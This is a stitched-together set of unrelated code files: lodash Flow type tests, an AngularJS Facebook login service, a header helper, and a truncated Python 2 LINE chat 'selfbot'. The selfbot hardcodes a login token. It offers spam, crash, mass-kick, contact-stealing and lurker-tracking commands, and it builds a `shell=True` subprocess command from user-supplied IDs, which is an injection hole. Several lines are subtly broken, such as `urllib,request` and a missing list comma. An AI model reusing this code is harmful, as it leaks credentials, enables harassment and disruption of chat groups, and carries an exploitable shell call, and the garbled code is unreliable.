difference((["a", "b"]: $ReadOnlyArray<string>), (["b"]: $ReadOnlyArray<string>), (["a"]: $ReadOnlyArray<string>));
/**
* _.differenceBy
*/
differenceBy(([2.1, 1.2]: $ReadOnlyArray<*>), [2.3, 3.4], Math.floor);
differenceBy([{ x: 2 }, { x: 1 }], [{ x: 1 }], "x");
/**
* _.differenceBy
*/
differenceBy(([2.1, 1.2]: $ReadOnlyArray<*>), [2.3, 3.4], Math.floor);
/**
* _.each
*/
each(([1, 2]: $ReadOnlyArray<number>), (item: number) => false);
/**
* _.find
*/
find([1, 2, 3], x => x * 1 == 3);
find([1, 2, 3], x => x == 2, 1);
// $ExpectError number cannot be compared to string
find([1, 2, 3], x => x == "a");
// $ExpectError number. This type is incompatible with function type.
find([1, 2, 3], 1);
// $ExpectError property `y`. Property not found in object literal
find([{ x: 1 }, { x: 2 }, { x: 3 }], v => v.y == 3);
find([{ x: 1 }, { x: 2 }, { x: 3 }], v => v.x == 3);
find({ x: 1, y: 2 }, (a: number, b: string) => a);
find({ x: 1, y: 2 }, { x: 3 });
find((["a", "b"]: $ReadOnlyArray<string>), "c");
// $ExpectError undefined. This type is incompatible with object type.
var result: Object = find(users, "active");
/**
* _.find examples from the official doc
*/
var users = [
{ user: "barney", age: 36, active: true },
{ user: "fred", age: 40, active: false },
{ user: "pebbles", age: 1, active: true }
];
find(users, function(o) {
return o.age < 40;
});
// The `_.matches` iteratee shorthand.
find(users, { age: 1, active: true });
// The `_.matchesProperty` iteratee shorthand.
find(users, ["active", false]);
// The `_.property` iteratee shorthand.
find(users, "active");
/**
* _.forEach
*/
forEach(([1, 2]: $ReadOnlyArray<number>), (item: number) => false);
/**
* _.groupBy
*/
var numbersGroupedByMathFloor = groupBy([6.1, 4.2, 6.3], Math.floor);
if (numbersGroupedByMathFloor[6]) {
numbersGroupedByMathFloor[6][0] / numbersGroupedByMathFloor[6][1];
}
var stringsGroupedByLength = groupBy(["one", "two", "three"], "length");
if (stringsGroupedByLength[3]) {
stringsGroupedByLength[3][0].toLowerCase();
}
var numbersObj: { [key: string]: number } = { a: 6.1, b: 4.2, c: 6.3 };
var numbersGroupedByMathFloor2 = groupBy(numbersObj, Math.floor);
if (numbersGroupedByMathFloor2[6]) {
numbersGroupedByMathFloor2[6][0] / numbersGroupedByMathFloor2[6][1];
}
var stringObj: { [key: string]: string } = { a: "one", b: "two", c: "three" };
var stringsGroupedByLength2 = groupBy(stringObj, "length");
if (stringsGroupedByLength2[3]) {
stringsGroupedByLength2[3][0].toLowerCase();
}
/**
* _.intersectionBy
*/
intersectionBy([2.1, 1.2], [2.3, 3.4], Math.floor);
intersectionBy([{ x: 1 }], [{ x: 2 }, { x: 1 }], "x");
/**
* _.get
*/
// Object — examples from lodash docs
var exampleObjectForGetTest = { a: [{ b: { c: 3 } }] };
get(exampleObjectForGetTest, "a[0].b.c");
get(exampleObjectForGetTest, ["a", "0", "b", "c"]);
get(exampleObjectForGetTest, "a.b.c", "default");
// Array — not documented, but _.get does support arrays
get([1, 2, 3], "0");
get([1, 2, 3], 0);
get([1, 2, 3], [0]);
get(["foo", "bar", "baz"], "[1]");
get([{ a: "foo" }, { b: "bar" }, { c: "baz" }], "2");
get([[1, 2], [3, 4], [5, 6], [7, 8]], "3");
// Nil - it is safe to perform on nil root values, just like nil values along the "get" path
get(null, 'thing');
get(undefined, 'data');
/**
* _.keyBy
*/
keyBy([{ dir: "left", code: 97 }, { dir: "right", code: 100 }], function(o) {
return String.fromCharCode(o.code);
});
keyBy([{ dir: "left", code: 97 }, { dir: "right", code: 100 }], "dir");
// Example of keying a map of objects by a number type
type KeyByTest$ByNumber<T: Object> = { [number]: T };
type KeyByTest$ByNumberMaybe<T: ?Object> = { [number]: T };
type KeyByTest$Record = { id: number };
var keyByTest_array: Array<KeyByTest$Record> = [
{ id: 4 },
{ id: 4 },
{ id: 7 }
];
var keyByTest_map: KeyByTest$ByNumber<KeyByTest$Record> = {
[keyByTest_array[0].id]: keyByTest_array[0],
[keyByTest_array[1].id]: keyByTest_array[1],
[keyByTest_array[2].id]: keyByTest_array[2]
};
var keyByTest_map2: KeyByTest$ByNumberMaybe<?KeyByTest$Record> = keyBy(
keyByTest_map,
"id"
);
/**
* _.map examples from the official doc
*/
function square(n) {
return n * n;
}
map([4, 8], square);
map({ a: 4, b: 8 }, square);
//accepts tuple types
const tuple: [number, number] = [1, 2];
map(tuple, val => val + 2);
//$ExpectError cannot push to tuple
map(tuple, (val, nothing, tupleArray) => tupleArray.push(123));
var users = [{ user: "barney" }, { user: "fred" }];
// The `_.property` iteratee shorthand.
map(users, "user");
/**
* _.pullAllBy
*/
pullAllBy([{ x: 1 }, { x: 2 }, { x: 3 }, { x: 1 }], [{ x: 1 }, { x: 3 }], "x");
/**
* _.unionBy
*/
unionBy([2.1], [1.2, 2.3], Math.floor);
unionBy([{ x: 1 }], [{ x: 2 }, { x: 1 }], "x");
/**
* _.uniqBy
*/
uniqBy([2.1, 1.2, 2.3], Math.floor);
uniqBy([{ x: 1 }, { x: 2 }, { x: 1 }], "x");
/**
* _.clone
*/
clone({ a: 1 }).a == 1;
// $ExpectError property `b`. Property not found in object literal
clone({ a: 1 }).b == 1;
// $ExpectError number. This type is incompatible with function type.
clone({ a: 1 }).a == "c";
/**
* _.isEqual
*/
isEqual("a", "b");
isEqual({ x: 1 }, { y: 2 });
// Flow considers this compatible with isEqual(a: any, b: any).
// Reasonable people disagree about whether this should be considered a legal call.
// See https://github.com/splodingsocks/FlowTyped/pull/1#issuecomment-149345275
// and https://github.com/facebook/flow/issues/956
isEqual(1);
// $ExpectError function type expects no more than 2 arguments
isEqual(1, 2, 3);
/**
* _.range
*/
range(0, 10)[4] == 4;
// $ExpectError string. This type is incompatible with number
range(0, "a");
// $ExpectError string cannot be compared to number
range(0, 10)[4] == "a";
/**
* _.sortedIndexBy
*/
sortedIndexBy([{ x: 4 }, { x: 5 }], { x: 4 }, function(o) {
return o.x;
});
sortedIndexBy([{ x: 4 }, { x: 5 }], { x: 4 }, "x");
/**
* _.sortedLastIndexBy
*/
sortedLastIndexBy([{ x: 4 }, { x: 5 }], { x: 4 }, function(o) {
return o.x;
});
sortedLastIndexBy([{ x: 4 }, { x: 5 }], { x: 4 }, "x");
/**
* _.extend
*/
extend({ a: 1 }, { b: 2 }).a;
extend({ a: 1 }, { b: 2 }).b;
// $ExpectError property `c`. Property not found in object literal
extend({ a: 1 }, { b: 2 }).c;
// $ExpectError property `c`. Poperty not found in object literal
assignIn({ a: 1 }, { b: 2 }).c;
/**
* _.xorBy
*/
xorBy([2.1, 1.2], [2.3, 3.4], Math.floor);
xorBy([{ x: 1 }], [{ x: 2 }, { x: 1 }], "x");
/**
* _.zip
*/
zip(["a", "b", "c"], ["d", "e", "f"])[0].length;
zip(["a", "b", "c"], [1, 2, 3])[0].length;
zip(["a", "b", "c"], [1, 2, 3])[0][0] + "a";
zip(["a", "b", "c"], [1, 2, 3])[0][1] * 10;
// $ExpectError `x` property not found in Array
zip([{ x: 1 }], [{ x: 2, y: 1 }])[0].x;
// $ExpectError `y` property not found in object literal
zip([{ x: 1 }], [{ x: 2, y: 1 }])[0][0].y;
zip([{ x: 1 }], [{ x: 2, y: 1 }])[0][1].y;
// $ExpectError Flow could potentially catch this -- the tuple only has two elements.
zip([{ x: 1 }], [{ x: 2, y: 1 }])[0][2];
/**
* _.zipWith
*/
zipWith(["a", "b", "c"], [1, 2, 3], (str, num) => ({ [str]: num }));
// $ExpectError `x` should be a `string`, `y` a `number`
zipWith(["a", "b", "c"], [1, 2, 3]).map(([x, y]) => x * y);
/**
* _.isString
*/
var boolTrue: true;
var boolFalse: false;
boolTrue = isString("foo");
boolFalse = isString([""]);
boolFalse = isString({});
boolFalse = isString(5);
boolFalse = isString(function(f) {
return f;
});
boolFalse = isString();
boolFalse = isString(true);
// $ExpectError
boolFalse = isString("");
// $ExpectError
boolTrue = isString(undefined);
/**
* _.find
*/
find([1, 2, 3], x => x == 1);
// $ExpectError number. This type is incompatible with function type.
find([1, 2, 3], 1);
// Copy pasted tests from iflow-lodash
var nums: number[] = [1, 2, 3, 4, 5, 6];
var num: number;
var string: string;
var bool: boolean;
var nativeSquares: number[];
var directSquares: number[];
var nativeStrings: string[];
var directStrings: string[];
var allNums: number[];
var numsAndStrList: Array<number | string>;
var mixedList: Array<mixed>;
allNums = concat(nums, nums, nums);
numsAndStrList = concat(nums, "123", "456");
numsAndStrList = concat(nums, ["123", "456"]);
numsAndStrList = concat(nums, [[1, 2, 3], "456"]);
mixedList = concat(nums, [[1, 2, 3], "456"]);
// Array#map, lodash.map, lodash#map
nativeSquares = nums.map(function(num) {
return num * num;
});
directSquares = map(nums, function(num) {
return num * num;
});
num = first(nums);
// return type of iterator is reflected in result and chain
nativeStrings = nums.map(function(num) {
return JSON.stringify(num);
});
directStrings = map(nums, function(num) {
return JSON.stringify(num);
});
var obj = { a: 1, b: 2 };
bool = conformsTo(obj, {
a: function(x: number) {
return true;
}
});
num = defaultTo(undefined, 2);
string = defaultTo(undefined, "str");
bool = defaultTo(true, "str");
string = defaultTo("str", true);
num = tap(1, function(n) {
return false;
});
bool = thru(1, function(n) {
return false;
});
var timesNums: number[];
timesNums = times(5);
// $ExpectError string. This type is incompatible with number
var strings: string[] = times(5);
timesNums = times(5, function(i: number) {
return i + 1;
});
// $ExpectError string. This type is incompatible with number
timesNums = times(5, function(i: number) {
return JSON.stringify(i);
});
// lodash.flatMap for collections and objects
// this arrow function needs a type annotation due to a bug in flow
// https://github.com/facebook/flow/issues/1948
flatMap([1, 2, 3], (n): number[] => [n, n]);
flatMap({ a: 1, b: 2 }, n => [n, n]);
/**
* _.noop
*/
noop();
noop(1);
noop("a", 2, [], null);
(noop: string => void);
(noop: (number, string) => void);
// $ExpectError functions are contravariant in return types
(noop: string => string);
/**
* _.memoize
*/
var memoized: (a: number) => string = memoize((a: number) => "foo");
// $ExpectError memoize retains type information
memoized = memoize(() => {});
/**
* _.debounce
*/
var debounced: (a: number) => string = debounce((a: number) => "foo");
// $ExpectError debounce retains type information
debounced = debounce(() => {});
/**
* _.toPairs / _.toPairsIn
*/
var pairs: [string, number][];
pairs = toPairs({ a: 12, b: 100 });
pairs = toPairsIn({ a: 12, b: 100 });
|
angular.module('Starscream.Services').factory('facebookService', function ($q, $httpq, loginService, accountService) {
var login = function (payload) {
var def = $q.defer();
loginService.LoginFacebook(payload).then(function (data) {
def.resolve(data);
}).catch(function (error) {
def.reject(error);
});
return def.promise;
};
var register = function (payload) {
var def = $q.defer();
accountService.RegisterFacebook(payload).then(function () {
def.resolve();
}).catch(function () {
def.reject();
});
return def.promise;
};
var isDisable = function(error) {
return error === "\"Your account has been disabled. Please contact your administrator for help.\"";
};
return {
Login: function () {
var def = $q.defer();
FB.login(function (response) {
if (response.authResponse) {
FB.api('/me', function (response) {
login(response).then(function(data) {
def.resolve(data);
}).catch(function (error) {
if (isDisable(error)) {
def.reject(error);
} else {
register(response).then(function () {
login(response).then(function (data) {
def.resolve(data);
});
});
}
});
});
} else {
def.reject();
}
}, { scope: 'email'});
return def.promise;
}
};
});
|
import { deepMerge } from "./utils";
/**
* 处理headers
* {
* headers:{
* common:{
* Accept:'application/x-www-form-urlencoded'
* }
* post:{
* test:'123'
* }
* delete:{
* test1:'333'
* }
* }
* }
*
* post => {
* headers:{
* Accept:'application/x-www-form-urlencoded'
* test:'123'
* }
* }
*
*
* @export
* @param {*} headers
* @param {*} method
* @returns {*}
*/
export function flattenHeaders(headers, method) {
if (!headers) {
return headers;
}
headers = deepMerge(headers.common, headers[method], headers);
// 需要从headers中删除的无用key
const methodsToDelete = [
"delete",
"get",
"head",
"options",
"post",
"put",
"patch",
"common"
];
methodsToDelete.forEach((key) => {
delete headers[key];
});
return headers;
}
|
const baseStyle = {
ml: 4,
fontWeight: "light",
}
export default {
baseStyle,
}
|
# -*- coding: utf-8 -*-
#Chucky_Bot
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
from bs4 import BeautifulSoup
from threading import Thread
from googletrans import Translator
from gtts import gTTS
import time,random,sys,json,codecs,threading,glob,urllib,urllib2,urllib3,re,ast,os,subprocess,requests,tempfile
vipro = LINETCR.LINE()
#vipro.login(qr=True)
vipro.login(token='EsY0lUFt1NnxeVfbrgHa./zA3eWqpAYcuHPFcSOdegG.lnoSCwmXopr92CjpM68qGPQau4bkF6FLr5yzFpXB5Ws=')
vipro.loginResult()
print "Vipro-Login Success\n\n=====[Sukses Login]====="
reload(sys)
sys.setdefaultencoding('utf-8')
selfMessage ="""
╔═════════════════════════
║ ☆☞ S E L F ☜☆
╠═════════════════════════
╠➩〘Hi〙
╠➩〘Me〙
╠➩〘Mymid〙
╠➩〘Mid @〙
╠➩〘SearchID (ID LINE)〙
╠➩〘Checkdate (DD/MM/YY)〙
╠➩〘Kalender〙
╠➩〘Steal contact〙
╠➩〘Pp @〙
╠➩〘Cover @〙
╠➩〘Auto like〙
╠➩〘Scbc Text〙
╠➩〘Cbc Text〙
╠➩〘Gbc Text〙
╠➩〘Bio @〙
╠➩〘Info @〙
╠➩〘Name @〙
╠➩〘Profile @〙
╠➩〘Contact @〙
╠➩〘Getvid @〙
╠➩〘Friendlist〙
╠➩〘Micadd @〙
╠➩〘Micdel @〙
╠➩〘Miclist〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
botMessage ="""
╔═════════════════════════
║ ☆☞ B O T ☜☆
╠═════════════════════════
╠➩〘Absen〙
╠➩〘Respon〙
╠➩〘Runtime〙
╠➩〘copy @〙
╠➩〘Copycontact〙
╠➩〘Mybackup〙
╠➩〘Mybio (Text)〙
╠➩〘Myname (Text)〙
╠➩〘@bye〙
╠➩〘Bot on/off〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
mediaMessage ="""
╔═════════════════════════
║ ☆☞ M E D I A ☜☆
╠═════════════════════════
╠➩〘Gift〙
╠➩〘Giftbycontact〙
╠➩〘Gif gore〙
╠➩〘Google (Text)〙
╠➩〘Playstore NamaApp〙
╠➩〘Fancytext Text〙
╠➩〘musik Judul-Penyanyi〙
╠➩〘lirik Judul-Penyanyi〙
╠➩〘musrik Judul-Penyanyi〙
╠➩〘ig UrsnameInstagram〙
╠➩〘Checkig UrsnameInstagram〙
╠➩〘apakah Text (Kerang Ajaib)〙
╠➩〘kapan Text (Kerang Ajaib)〙
╠➩〘hari Text (Kerang Ajaib)〙
╠➩〘berapa Text (Kerang Ajaib)〙
╠➩〘berapakah Text〙
╠➩〘Youtube Judul Video〙
╠➩〘Youtubevideo Judul Video〙
╠➩〘Youtubesearch:0 Judul Video〙
╠➩〘Image NamaGambar〙
╠➩〘Say Text〙
╠➩〘Say-en Text〙
╠➩〘Say-jp Text〙
╠➩〘Tr-id Text (Translate En Ke ID〙
╠➩〘Tr-en Text (Translate ID Ke En〙
╠➩〘Tr-th Text (Translate ID Ke Th〙
╠➩〘Id@en Text (Translate ID Ke En〙
╠➩〘Id@th Text (Translate ID Ke TH〙
╠➩〘En@id Text (Translate En Ke ID〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288〽️
╚═════════════════════════
"""
groupMessage ="""
╔═════════════════════════
║ ☆☞ G R O U P ☜☆
╠═════════════════════════
╠➩〘Welcome〙
╠➩〘Say welcome〙
╠➩〘Invite creator〙
╠➩〘Setview/Cctv〙
╠➩〘Viewseen/Ciduk〙
╠➩〘Gn: (NamaGroup)〙
╠➩〘Tag all〙
╠➩〘lurk on/off〙
╠➩〘lurkers〙
╠➩〘Recover〙
╠➩〘Cancel〙
╠➩〘Cancelall〙
╠➩〘Gcreator〙
╠➩〘Ginfo〙
╠➩〘Gurl〙
╠➩〘List group〙
╠➩〘Pict group: (NamaGroup)〙
╠➩〘Spam: (Text)〙
╠➩〘Add all〙
╠➩〘Kick: (Mid)〙
╠➩〘Invite: (Mid)〙
╠➩〘Invite〙
╠➩〘Memlist〙
╠➩〘Getgroup image〙
╠➩〘Urlgroup Image〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
tjia="u082612f1351f554fffb1a120f32a9b0e"
setMessage ="""
╔═════════════════════════
║ ☆☞ S E T ☜☆
╠═════════════════════════
╠➩〘Notif on/off〙
╠➩〘Mimic on/off〙
╠➩〘Url on/off〙
╠➩〘Alwaysread on/off〙
╠➩〘Sider on/off〙
╠➩〘Contact on/off〙
╠➩〘Sticker on〙
╠➩〘Simisimi on/off〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
creatorMessage ="""
╔═════════════════════════
║ ☆☞ C R E A T O R ☜☆
╠═════════════════════════
╠➩〘Crash〙
╠➩〘Kickall〙
╠➩〘Bc: (Text)〙
╠➩〘Join group: (NamaGroup〙
╠➩〘Leave group: (NamaGroup〙
╠➩〘Leave all group〙
╠➩〘Tag on/off〙
╠➩〘Bot restart〙
╠➩〘Turn off〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
adminMessage ="""
╔═════════════════════════
║ ☆☞ A D M I N ☜☆
╠═════════════════════════
╠➩〘Allprotect on/off〙
╠➩〘Ban〙
╠➩〘Unban〙
╠➩〘Ban @〙
╠➩〘Unban @〙
╠➩〘Ban list〙
╠➩〘Clear ban〙
╠➩〘Kill〙
╠➩〘Kick @〙
╠➩〘Set member: (Jumblah)〙
╠➩〘Ban group: (NamaGroup〙
╠➩〘Del ban: (NamaGroup〙
╠➩〘List ban〙
╠➩〘Kill ban〙
╠➩〘Glist〙
╠➩〘Glistmid〙
╠➩〘Details group: (Gid)〙
╠➩〘Cancel invite: (Gid)〙
╠➩〘Invitemeto: (Gid)〙
╠➩〘Acc invite〙
╠➩〘Removechat〙
╠➩〘Qr on/off〙
╠➩〘Autokick on/off〙
╠➩〘Autocancel on/off〙
╠➩〘Invitepro on/off〙
╠➩〘Join on/off〙
╠➩〘Joincancel on/off〙
╠➩〘Respon1 on/off〙
╠➩〘Respon2 on/off〙
╠➩〘Respon3 on/off〙
╠➩〘Responkick on/off〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
helpMessage ="""
╔═════════════════════════
║ ☆☞ H E L P ☜☆
╠═════════════════════════
╠➩〘Help self〙
╠➩〘Help bot〙
╠➩〘Help group〙
╠➩〘Help set〙
╠➩〘Help media〙
╠➩〘Help admin〙
╠➩〘Help creator〙
╠➩〘Owner〙
╠➩〘Speed〙
╠➩〘Speed test〙
╠➩〘Status〙
╠═════════════════════════
║ 💠 By : Queso 💠
║ 〽️ line.me/ti/p/~akbarr288 〽️
╚═════════════════════════
"""
KAC=[vipro]
mid = vipro.getProfile().mid
Bots=[mid]
Creator=["u082612f1351f554fffb1a120f32a9b0e"]
admin=["u082612f1351f554fffb1a120f32a9b0e" "uc109d63a3bf958b781f21535e7e89055"]
contact = vipro.getProfile()
backup1 = vipro.getProfile()
backup1.displayName = contact.displayName
backup1.statusMessage = contact.statusMessage
backup1.pictureStatus = contact.pictureStatus
responsename = vipro.getProfile().displayName
wait = {
"LeaveRoom":True,
"Bot":True,
"AutoJoin":True,
"AutoJoinCancel":False,
"memberscancel":30,
"Members":1,
"AutoCancel":False,
"AutoKick":False,
'invite':{},
'steal':{},
'gift':{},
'copy':{},
'likeOn':{},
'detectMention':False,
'detectMention2':True,
'detectMention3':False,
'kickMention':False,
'sticker':False,
'timeline':True,
"Timeline":True,
"comment":"Bot Auto Like ©By : Queso",
"commentOn":True,
"commentBlack":{},
"message":"Thx For Add Me (^_^)\nInvite Me To Your Group ヘ(^_^)ヘ",
"blacklist":{},
"wblacklist":False,
"dblacklist":False,
"Qr":False,
"Contact":False,
"Sambutan":False,
"inviteprotect":False,
"alwaysRead":False,
"Sider":{},
"Simi":{},
"lang":"JP",
"BlGroup":{}
}
settings = {
"simiSimi":{}
}
cctv = {
"cyduk":{},
"point":{},
"sidermem":{}
}
wait2 = {
"readPoint":{},
"readMember":{},
"setTime":{},
"ROM":{}
}
mimic = {
"copy":False,
"copy2":False,
"status":False,
"target":{}
}
setTime = {}
setTime = wait2['setTime']
mulai = time.time()
def download_page(url):
version = (3,0)
cur_version = sys.version_info
if cur_version >= version:
import urllib,request
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
req = urllib,request.Request(url, headers = headers)
resp = urllib,request.urlopen(req)
respData = str(resp.read())
return respData
except Exception as e:
print(str(e))
else:
import urllib2
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17"
req = urllib2.Request(url, headers = headers)
response = urllib2.urlopen(req)
page = response.read()
return page
except:
return"Page Not found"
def _images_get_next_item(s):
start_line = s.find('rg_di')
if start_line == -1:
end_quote = 0
link = "no_links"
return link, end_quote
else:
start_line = s.find('"class="rg_meta"')
start_content = s.find('"ou"',start_line+90)
end_content = s.find(',"ow"',start_content-90)
content_raw = str(s[start_content+6:end_content-1])
return content_raw, end_content
def _images_get_all_items(page):
items = []
while True:
item, end_content = _images_get_next_item(page)
if item == "no_links":
break
else:
items.append(item)
time.sleep(0.1)
page = page[end_content:]
return items
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
return '%02d Jam %02d Menit %02d Detik' % (hours, mins, secs)
def cms(string, commands): #/XXX, >XXX, ;XXX, ^XXX, %XXX, $XXX...
tex = ["+","@","/",">",";","^","%","$","^","サテラ:","サテラ:","サテラ:","サテラ:"]
for texX in tex:
for command in commands:
if string ==command:
return True
return False
def upload_tempimage(client):
'''
Upload a picture of a kitten. We don't ship one, so get creative!
'''
config = {
'album': album,
'name': 'bot auto upload',
'title': 'bot auto upload',
'description': 'bot auto upload'
}
print("Uploading image... ")
image = client.upload_from_path(image_path, config=config, anon=False)
print("Done")
print()
return image
def sendAudio(self, to_, path):
M = Message()
M.text = None
M.to = to_
M.contentMetadata = None
M.contentPreview = None
M.contentType = 3
M_id = self._client.sendMessage(0,M).id
files = {
'file': open(path, 'rb'),
}
def sendMessage(to, text, contentMetadata={}, contentType=0):
mes = Message()
mes.to, mes.from_ = to, profile.mid
mes.text = text
mes.contentType, mes.contentMetadata = contentType, contentMetadata
if to not in messageReq:
messageReq[to] = -1
messageReq[to] += 1
def sendImage(self, to_, path):
M = Message(to=to_, text=None, contentType = 1)
M.contentMetadata = None
M.contentPreview = None
M2 = self._client.sendMessage(0,M)
M_id = M2.id
files = {
'file': open(path, 'rb'),
}
params = {
'name': 'media',
'oid': M_id,
'size': len(open(path, 'rb').read()),
'type': 'image',
'ver': '1.0',
}
data = {
'params': json.dumps(params)
}
r = self.post_content('https://obs-sg.line-apps.com/talk/m/upload.nhn', data=data, files=files)
if r.status_code != 201:
raise Exception('Upload image failure.')
return True
def sendImageWithURL(self, to_, url):
path = '%s/pythonLine-%i.data' % (tempfile.gettempdir(), randint(0, 9))
r = requests.get(url, stream=True)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download image failure.')
try:
self.sendImage(to_, path)
except:
try:
self.sendImage(to_, path)
except Exception as e:
raise e
def sendAudioWithURL(self, to_, url):
path = self.downloadFileWithURL(url)
try:
self.sendAudio(to_, path)
except Exception as e:
raise Exception(e)
def sendAudioWithUrl(self, to_, url):
path = '%s/pythonLine-%1.data' % (tempfile.gettempdir(), randint(0, 9))
r = requests.get(url, stream=True, verify=False)
if r.status_code == 200:
with open(path, 'w') as f:
shutil.copyfileobj(r.raw, f)
else:
raise Exception('Download audio failure.')
try:
self.sendAudio(to_, path)
except Exception as e:
raise e
def downloadFileWithURL(self, fileUrl):
saveAs = '%s/pythonLine-%i.data' % (tempfile.gettempdir(), randint(0, 9))
r = self.get_content(fileUrl)
if r.status_code == 200:
with open(saveAs, 'wb') as f:
shutil.copyfileobj(r.raw, f)
return saveAs
else:
raise Exception('Download file failure.')
def summon(to, nama):
aa = ""
bb = ""
strt = int(14)
akh = int(14)
nm = nama
for mm in nm:
akh = akh + 2
aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(mm)+"},"""
strt = strt + 6
akh = akh + 4
bb += "\xe2\x95\xa0 @x \n"
aa = (aa[:int(len(aa)-1)])
msg = Message()
msg.to = to
msg.text = "\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\n"+bb+"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90"
msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+aa+']}','EMTVER':'4'}
print "[Command] Tag All"
try:
vipro.sendMessage(msg)
except Exception as error:
print error
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
def bot(op):
try:
if op.type == 0:
return
if op.type == 5:
if wait["autoAdd"] == True:
vipro.findAndAddContactsByMid(op.param1)
if(wait["message"]in[""," ","\n",None]):
pass
else:
vipro.sendText(op.param1,str(wait["message"]))
if op.type == 55:
try:
group_id = op.param1
user_id=op.param2
subprocess.Popen('echo "'+ user_id+'|'+str(op.createdTime)+'" >> dataSeen/%s.txt' % group_id, shell=True, stdout=subprocess.PIPE, )
except Exception as e:
print e
if op.type == 55:
try:
if op.param1 in wait2['readPoint']:
if op.param2 in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += op.param2
wait2['ROM'][op.param1][op.param2] = op.param2
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
else:
pass
except:
pass
if op.type == 55:
try:
if cctv['cyduk'][op.param1]==True:
if op.param1 in cctv['point']:
Name = vipro.getContact(op.param2).displayName
# Name = summon(op.param2)
if Name in cctv['sidermem'][op.param1]:
pass
else:
cctv['sidermem'][op.param1] += "\n• " + Name
if " " in Name:
nick = Name.split(' ')
if len(nick) == 2:
vipro.sendText(op.param1, "Haii " + "☞ " + Name + " ☜" + "\nNgintip Aja Niih. . .\nChat Kek Idiih (-__-) ")
time.sleep(0.2)
summon(op.param1,[op.param2])
else:
vipro.sendText(op.param1, "Haii " + "☞ " + Name + " ☜" + "\nBetah Banget Jadi Penonton. . .\nChat Napa (-__-) ")
time.sleep(0.2)
summon(op.param1,[op.param2])
else:
vipro.sendText(op.param1, "Haii " + "☞ " + Name + " ☜" + "\nNgapain Kak Ngintip Aja???\nSini Gabung Chat... ")
time.sleep(0.2)
summon(op.param1,[op.param2])
else:
pass
else:
pass
except:
pass
else:
pass
if op.type == 22:
vipro.leaveRoom(op.param1)
if op.type == 21:
vipro.leaveRoom(op.param1)
if op.type == 13:
print op.param3
if op.param3 in mid:
if op.param2 in Creator:
vipro.acceptGroupInvitation(op.param1)
if mid in op.param3:
if wait["AutoJoinCancel"] == True:
G = vipro.getGroup(op.param1)
if len(G.members) <= wait["memberscancel"]:
vipro.acceptGroupInvitation(op.param1)
vipro.sendText(op.param1,"Maaf " + vipro.getContact(op.param2).displayName + "\nMember Kurang Dari 30 Orang\nUntuk Info, Silahkan Chat Owner Kami!")
vipro.leaveGroup(op.param1)
else:
vipro.acceptGroupInvitation(op.param1)
vipro.sendText(op.param1,"☆Ketik ☞Help☜ Untuk Bantuan☆\n☆Harap Gunakan Dengan Bijak ^_^ ☆")
if mid in op.param3:
if wait["AutoJoin"] == True:
G = vipro.getGroup(op.param1)
if len(G.members) <= wait["Members"]:
vipro.rejectGroupInvitation(op.param1)
else:
vipro.acceptGroupInvitation(op.param1)
vipro.sendText(op.param1,"☆Ketik ☞Help☜ Untuk Bantuan☆\n☆Harap Gunakan Dengan Bijak ^_^ ☆")
else:
if wait["AutoCancel"] == True:
if op.param3 in Bots:
pass
else:
vipro.cancelGroupInvitation(op.param1, [op.param3])
else:
if op.param3 in wait["blacklist"]:
vipro.cancelGroupInvitation(op.param1, [op.param3])
vipro.sendText(op.param1, "Blacklist Detected")
else:
pass
if op.type == 13:
if op.param2 not in Creator:
if op.param2 not in admin:
if op.param2 not in Bots:
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
elif wait["inviteprotect"] == True:
wait ["blacklist"][op.param2] = True
vipro.cancelGroupInvitation(op.param1,[op.param3])
vipro.kickoutFromGroup(op.param1,[op.param2])
if op.param2 not in Creator:
if op.param2 not in admin:
if op.param2 not in Bots:
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
if op.type == 19:
if wait["AutoKick"] == True:
try:
if op.param3 in Creator:
if op.param3 in admin:
if op.param3 in Bots:
pass
if op.param2 in Creator:
if op.param2 in admin:
if op.param2 in Bots:
pass
else:
vipro.kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
vipro.inviteIntoGroup(op.param1,[op.param3])
except:
try:
if op.param2 not in Creator:
if op.param2 not in admin:
if op.param2 not in Bots:
vipro.kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
